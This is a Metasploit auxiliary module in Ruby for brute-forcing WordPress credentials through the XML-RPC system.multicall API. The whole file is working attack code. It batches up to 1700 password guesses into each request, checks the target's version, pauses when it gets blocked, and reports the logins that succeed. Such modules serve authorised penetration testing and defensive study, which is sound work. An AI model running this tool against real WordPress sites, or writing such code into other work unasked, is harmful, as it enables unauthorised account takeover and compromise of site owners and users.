##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/wordpress_multicall'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress XML-RPC system.multicall Credential Collector',
        'Description' => %q{
          This module attempts to find Wordpress credentials by abusing the XMLRPC
          APIs. Wordpress versions prior to 4.4.1 are suitable for this type of
          technique. For newer versions, the script will drop the CHUNKSIZE to 1 automatically.
        },
        'Author' => [
          'KingSabri <King.Sabri[at]gmail.com>',
          'William <WCoppola[at]Lares.com>',
          'sinn3r'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ],
          ['URL', 'http://web.archive.org/web/20250220003829/https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ]
        ],
        'DefaultOptions' => {
          'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"),
          'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")
        },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]),
        OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]),
      ]
    )

    # Not supporting these options, because we are not actually letting the API to process the
    # password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC.
    deregister_options(
      'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_SKIP_EXISTING'
    )
  end

  def passwords
    File.readlines(datastore['PASS_FILE']).lazy.map { |pass| pass.chomp }
  end

  def check_options
    if datastore['CHUNKSIZE'] > 1700
      fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700')
    end
  end

  def setup
    check_options
  end

  def check_setup
    version = wordpress_version
    vprint_good("Found Wordpress version: #{version}")

    if !wordpress_and_online?
      print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)")
      false
    elsif !wordpress_xmlrpc_enabled?
      print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC")
      false
    elsif Rex::Version.new(version) >= Rex::Version.new('4.4.1')
      print_error("#{peer}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.")
      vprint_status("Dropping CHUNKSIZE from #{datastore['CHUNKSIZE']} to 1")
      datastore['CHUNKSIZE'] = 1
      true
    else
      print_status("Target #{peer} is running Wordpress")
      true
    end
  end

  def run_host(ip)
    if check_setup
      print_status("XMLRPC enabled, Hello message received!")
    else
      print_error("Aborting the attack.")
      return
    end

    print_status("#{peer} - Starting XML-RPC login sweep...")

    cred_collection = Metasploit::Framework::CredentialCollection.new(
      blank_passwords: true,
      user_file: datastore['USER_FILE'],
      username: datastore['USERNAME']
    )

    scanner = Metasploit::Framework::LoginScanner::WordpressMulticall.new(
      configure_http_login_scanner(
        passwords: passwords,
        chunk_size: datastore['CHUNKSIZE'],
        block_wait: datastore['BLOCKEDWAIT'],
        base_uri: target_uri.path,
        uri: wordpress_url_xmlrpc,
        cred_details: cred_collection,
        stop_on_success: datastore['STOP_ON_SUCCESS'],
        bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
        connection_timeout: 5,
        http_username: datastore['HttpUsername'],
        http_password: datastore['HttpPassword']
      )
    )

    scanner.scan! do |result|
      credential_data = result.to_h
      credential_data.merge!(
        module_fullname: self.fullname,
        workspace_id: myworkspace_id
      )

      case result.status
      when Metasploit::Model::Login::Status::SUCCESSFUL
        print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}"
      end
    end
  end
end
